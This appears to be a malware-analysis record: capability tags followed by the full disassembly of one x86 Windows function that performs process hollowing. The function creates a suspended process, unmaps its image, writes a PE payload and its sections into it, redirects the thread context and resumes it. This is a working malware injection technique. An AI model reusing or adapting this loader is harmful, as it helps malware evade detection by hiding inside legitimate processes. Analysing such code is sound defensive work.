Function at 0x4cffb0
Capabilities:
Create process on windows
Create process suspended
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffcb8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov ebx, ecx
mov dword [ebp - 4], edx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
call fcn.00409bbc
xor eax, eax
push ebp
push 0x4d0251
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4d0264
push 0x4d0290
call sub.kernel32.dll_LoadLibraryW
push eax
call fcn.00411584
mov esi, eax
lea edx, [ebp - 8]
xor eax, eax
call fcn.00407164
lea eax, [ebp - 0x38]
xor ecx, ecx
mov edx, 0x10
call fcn.004076c0
lea eax, [ebp - 0x7c]
xor ecx, ecx
mov edx, 0x44
call fcn.004076c0
mov dword [ebp - 0x7c], 0x44
mov dword [ebp - 0x50], 1
test bl, bl
je 0x4d0038
mov word [ebp - 0x4c], 1
jmp 0x4d003e
mov word [ebp - 0x4c], 0
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x7c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.0040a5a4
push eax
mov eax, dword [ebp - 8]
call fcn.0040a5a4
push eax
call sub.kernel32.dll_CreateProcessW
test eax, eax
je 0x4d0236
mov byte [ebp - 0x21], 1
mov edi, dword [ebp + 8]
push esi
lea esi, [ebp - 0x38]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
xor eax, eax
push ebp
push 0x4d022f
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x348], 0x10002
lea eax, [ebp - 0x348]
push eax
mov eax, dword [ebp - 0x34]
push eax
call sub.kernel32.dll_GetThreadContext
test eax, eax
je 0x4d0205
lea eax, [ebp - 0x14]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x2a4]
add eax, 8
push eax
mov eax, dword [ebp - 0x38]
push eax
call sub.kernel32.dll_ReadProcessMemory
test eax, eax
je 0x4d0205
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x38]
push eax
call esi
test eax, eax
jl 0x4d0205
cmp dword [ebp - 0xc], 0
je 0x4d0205
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0x20], eax
push 4
push 0x3000
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x50]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [ebp - 0x38]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4d0205
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x54]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x38]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x4d0205
mov eax, dword [ebp - 0x20]
call fcn.004cff98
mov esi, eax
mov eax, dword [ebp - 0x20]
movzx eax, word [eax + 6]
dec eax
test eax, eax
jb 0x4d01bc
inc eax
mov dword [ebp - 0x28], eax
xor ebx, ebx
lea eax, [ebp - 0x18]
push eax
lea edi, [ebx + ebx*4]
mov eax, dword [esi + edi*8 + 0x10]
push eax
mov eax, dword [esi + edi*8 + 0x14]
add eax, dword [ebp - 0xc]
push eax
mov eax, dword [esi + edi*8 + 0xc]
add eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x38]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x4d01b6
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [esi + edi*8 + 0x24]
call fcn.004cffa4
push eax
mov eax, dword [esi + edi*8 + 8]
push eax
mov eax, dword [esi + edi*8 + 0xc]
add eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x38]
push eax
call sub.kernel32.dll_VirtualProtectEx
inc ebx
dec dword [ebp - 0x28]
jne 0x4d0169
lea eax, [ebp - 0x18]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x2a4]
add eax, 8
push eax
mov eax, dword [ebp - 0x38]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x4d0205
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x298], eax
lea eax, [ebp - 0x348]
push eax
mov eax, dword [ebp - 0x34]
push eax
call sub.kernel32.dll_SetThreadContext
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x21], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d0236
cmp byte [ebp - 0x21], 0
jne 0x4d0225
push 0
mov eax, dword [ebp - 0x38]
push eax
call sub.kernel32.dll_TerminateProcess
jmp 0x4d022e
mov eax, dword [ebp - 0x34]
push eax
call sub.kernel32.dll_ResumeThread
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d0258
lea eax, [ebp - 8]
mov edx, 2
call fcn.00409b38
ret